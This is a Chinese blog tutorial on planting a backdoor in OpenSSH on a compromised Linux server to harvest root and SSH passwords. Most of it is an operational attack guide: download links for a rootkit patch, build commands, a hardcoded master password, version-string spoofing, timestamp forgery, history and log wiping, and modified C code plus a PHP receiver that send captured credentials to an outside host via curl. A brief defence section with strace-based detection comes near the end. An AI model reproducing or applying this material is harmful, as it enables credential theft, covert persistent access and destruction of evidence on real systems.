zoukankan      html  css  js  c++  java
  • OpenSSH后门获取root密码及防范

    OpenSSH后门获取root密码及防范

    相对于Windows操作系统,Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测,本文就如何添加OpenSSH后门以及防范后门添加进行探讨。

    1.1OpenSSH简介

    OpenSSH是SSH(Secure  SHell)协议的免费开源实现,很多人误认OpenSSH为与OpenSSL有关联,但实际上这两个计划的有不同的目的,不同的发展团队,名称相近只是因为两者有同样的软件发展目标──提供开放源代码的加密通讯软件。OpenSSH是OpenBSD的子计划其官方网站地址为http://www.openssh.com/,OpenSSH各个版本可以到其官网下载,推荐一个下载地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp、ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控件和文件传输过程中的数据,并由此来代替原来的类似服务。OpenSSH是使用SSH透过计算机网络加密通讯的实现。它是取代由SSH  Communications  Security所提供的商用版本的开放源代码方案。在OpenSSH服务中sshd是一个典型的独立守护进程,OpenSSH服务可以通过/etc/ssh/sshd_config文件进行配置。OpenSSH  支持 SSH 协议的版本 1.3、1.5、和 2。自从 OpenSSH 的版本2.9以来,默认的协议是版本2。

    1.2准备工作

    (1)下载openssh-5.9p1.tar.gz参考下载地址:

    http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz

    (2)下载后门文件http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

    (3)Linux虚拟机Centos6.4版本

    (4)查看SSH当前版本信息

    SSH后门目前网上支持版本为5.9以下,因此如果显示信息中的版本为5.9以下才能使用,如图1所示,使用“ssh  –V”命令获取的OpenSSH版本为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar  2010”。对高于5.9版本未做测试,理论上是可行的,因为在patch中可以直接修改banner。特别需要注意,这个版本号一定要记录下来,在编译时将该信息进行伪装。

    图1 查看SSH当前版本信息

    (5)备份SSH原始配置文件

    如图2所示,将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端中分别执行文件备份命令:

    mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
    mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

    图2 备份SSH原始配置文件

    (6)解压ssh后门

    将sshbd.tgz下载到本地并解压到本地,如图3所示,执行以下命令:

    tar zxvf sshbd.tgz
    cd openssh

    图3 下载并解压ssh后门

    使用官方openssh-5.9p1进行安装后门的可以执行以下命令

    tar zxf openssh-5.9p1.tar
    tar zxf openssh-5.9p1.path.tar
    cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
    cd openssh-5.9p1
    patch < sshbd5.9p1.diff

    1.3设置ssh后门的登录密码及其密码记录位置

    在openssh目录中找到includes.h,使用“vi includes.h”修改define  _SECRET_PASSWD为自己的登录密码,如图4所示,默认密码记录日志文件保存在/usr/local/share/0wn目录下的slog和clog文件。例如定义密码为“995430aaa”

    define _SECRET_PASSWD " 995430aaa"

    图4 修改ssh登录密码

    1.4安装并编译

    1.进行编译和安装

    ./configure –prefix=/usr –sysconfdir=/etc/ssh
    make && make install

    openssh-5.9p1需要用下面这个命令进行配置:

    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5


    在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or  check config.log”错误,可以执行“yum install zlib-devel和yum install openssl  openssl-devel”安装后再次编译即可。

    2.重启SSHD服务

    执行“/etc/init.d/sshd restart”命令重启sshd服务。

    3.还原新配置文件为旧配置文件时间

    执行以下命令,将ssh_config和sshd_config修改时间跟ssh_config.old和sshd_config.old一致。

    touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
    touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config


    mtime(modify time):最后一次修改文件或目录的时间

    ctime(chang time) :最后一次改变文件或目录(改变的是原数据即:属性)的时间

    如:记录该文件的inode节点被修改的时间。touch命令除了-d和-t选项外都会改变该时间。而且chmod,chown等命令也能改变该值。

    atime(access time)::最后一次访问文件或目录的时间

    ls -l file : 查看文件修改时间

    ls -lc file: 查看文件状态改动时间

    ls -lu file: 查看文件访问时间

    stat file 文件时间三个属性

    1.5登入后门并查看记录的密码文件

    使用“ssh -l root IP”命令登录服务器,例如“ssh -l root  192.168.52.175”登录,可以使用root的密码,也可以使用后门设置的密码“995430aaa”进行登录。然后到/usr/local/share/0wn目录查看其记录的密码日志文件clog和slog,如图5所示,可以看到ssh登录和本地root帐号登录的密码。

    图5 查看密码记录

    在实际测试过程还需要清除apache日志,以下可供参考的日志清除命令:

    export HISTFILE=/dev/null 
    export HISTSIZE=0 
    cd /etc/httpd/logs/ 
    sed -i ‘/192.168.52.175/d’ access_log* 
    echo >/root/.bash_history //清空操作日志 

    1.6拓展密码记录方式

    前面记录的密码只能在linux服务器上面看,也就是说用户必须要读取文件的权限,如果某一天权限没有了,则无法登陆服务器了;最好的方法就是记录的用户、密码和端口可以通过邮件或者http直接发送到接收端,跟黑产收信比较类似。下面是具体实现方法:

    (1)接收端ssh.php代码

    <?php 
    $username = $_POST['username']; 
    $password = $_POST['password']; 
    $host = $_POST['host']; 
    $port = $_POST['port']; 
    $time=date('Y-m-d H:i:s',time()); 
     if(isset($username) != "" || isset($password) !="" || isset($host) != "") 
    { 
            $fp = fopen("sshlog.txt","a+"); 
            $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time"; 
            fwrite($fp,$result); 
           fwrite($fp,"
    "); 
            fclose($fp); 
    } 
    ?> 

    (2)修改auth-passwd.c文件内容

    int 
    userauth_passwd(Authctxt *authctxt) 
    { 
        static int attempt = 0; 
        char prompt[150]; 
        char *password; 
        char *pass[200]; 
        char szres[1024] = {0}; 
        FILE *f; 
        char *findport() 
        { 
            FILE *FTopen; 
            char tempBuf[1024] = {0}; 
            char *Filename = "/etc/ssh/sshd_config"; 
            char *Filetext = "Port"; 
            if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; } 
            while(fgets(tempBuf, 1024, FTopen) != NULL) {  
                    if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } 
                    memset(tempBuf, 0, 1024); 
            } 
            fclose(FTopen); 
            return Filetext; 
        } 
     
     
        const char *host = options.host_key_alias ?  options.host_key_alias : 
            authctxt->host; 
     
        if (attempt++ >= options.number_of_password_prompts) 
            return 0; 
     
        if (attempt != 1) 
            error("Permission denied, please try again."); 
     
        snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", 
            authctxt->server_user, host); 
        password = read_passphrase(prompt, 0); 
        strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用 
        packet_start(SSH2_MSG_USERAUTH_REQUEST); 
        packet_put_cstring(authctxt->server_user); 
        packet_put_cstring(authctxt->service); 
        packet_put_cstring(authctxt->method->name); 
        packet_put_char(0); 
        packet_put_cstring(password); 
        memset(password, 0, strlen(password)); 
        xfree(password); 
        packet_add_padding(64); 
        packet_send(); 
     
        dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, 
    &input_userauth_passwd_changereq); 
     
        if((f=fopen("/tmp/olog","a+"))!=NULL){  
            fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s
    ",authctxt->server_user,pass,authctxt->host,findport()); 
            fclose(f);}   
     
        memset(szres,0,sizeof(szres)); 
        snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d "username=%s&password=%s&host=%s&port=%s" http://www.antian365.com/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport()); 
        system(szres);   
            return 1; 
    } 

    重新编译之,执行后将自动将密码发送到服务器。但本人在实际测试效果并没有达到作者所说的,相关信息请访问http://0cx.cc/ssh_get_password.jspx查看并验证。

    1.7OpenSSH后门防范方法

    (1)重装openssh软件,更新至最新版本7.2

    (2)更换ssh默认登录端口22为其它端口。

    (3)在iptable中添加ssh访问策略。

    (4)查看命令历史记录,对可疑文件进行清理,在有条件的情况下,可重做系统。

    (5)修改服务器所有密码为新的强健密码。

    (6)利用strace找出ssh后门,首先利用命令“ps aux | grep sshd”获取可疑进程PID,使用“strace -o aa -ff -p  PID”进行跟踪,然后登录ssh,成功登录之后,在当前目录,生成了strace的输出。使用“grep open aa* | grep -v -e No -e  null -e denied| grep  WR”命令查看记录密码打开文件。在上面命令中过滤掉错误信息和/dev/null信息,以及denied信息,并且找读写模式打开(WR)的,因为要把记录的密码写入文件,肯定要是以写方式打开的文件,可以可以找到以读写方式记录在文件中的ssh后门密码文件位置,通过该方法来判断是否存在ssh后门。当然也有不记录密码,而仅仅留一个万能ssh后门。

    2.5.8OpenSSH利用总结

    1.获取linux版本及其信息

    cat /etc/issue
    uname -ar

    2.获取ssh版本信息并记录

    ssh -V >ssh.txt

    3.下载openssh客户端以及后门程序

    wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
    wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

    注:网上还有一个现存版本sshd.tar.gz

    4.ssh配置文件备份

    mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
    mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old


    5.安装必备软件

    yum install -y openssl openssl-devel pam-devel zlib zlib-devel

    6.解压并patch

    tar zxf openssh-5.9p1.tar.gz
    tar zxf openssh-5.9p1.tar.gz
    cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
    cd openssh-5.9p1
    patch < sshbd5.9p1.diff


    7.修改文件includes.h 文件记录用户名和密码的文件位置及其密码

    #define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
     #define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
     #define SECRETPW "123456654321" //你后门的密码


    8.修改version.h文件使其修改后的版本信息为原始版本

    #define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
    #define SSH_PORTABLE "小版本号"

    9.安装并编译

    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
    make clean
    make && make install
    service sshd restart 

    10.恢复新配置文件的日期跟旧文件日期一致

    对ssh_config和sshd_config新旧文件进行内容对比,使其配置文件一致,然后在修改文件日期。

    touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
    touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

    11.清除操作日志

    export HISTFILE=/dev/null
    export HISTSIZE=0
    cd /etc/httpd/logs/
    sed -i ‘/192.168.52.175/d’ access_log*
    echo >/root/.bash_history //清空操作日志
  • 相关阅读:
    BestCoder6 1002 Goffi and Squary Partition(hdu 4982) 解题报告
    codeforces 31C Schedule 解题报告
    codeforces 462C Appleman and Toastman 解题报告
    codeforces 460C. Present 解题报告
    BestCoder3 1002 BestCoder Sequence(hdu 4908) 解题报告
    BestCoder3 1001 Task schedule(hdu 4907) 解题报告
    poj 1195 Mobile phones 解题报告
    二维树状数组 探索进行中
    codeforces 460B Little Dima and Equation 解题报告
    通过Sql语句控制SQLite数据库增删改查
  • 原文地址:https://www.cnblogs.com/croso/p/5280783.html
Copyright © 2011-2022 走看看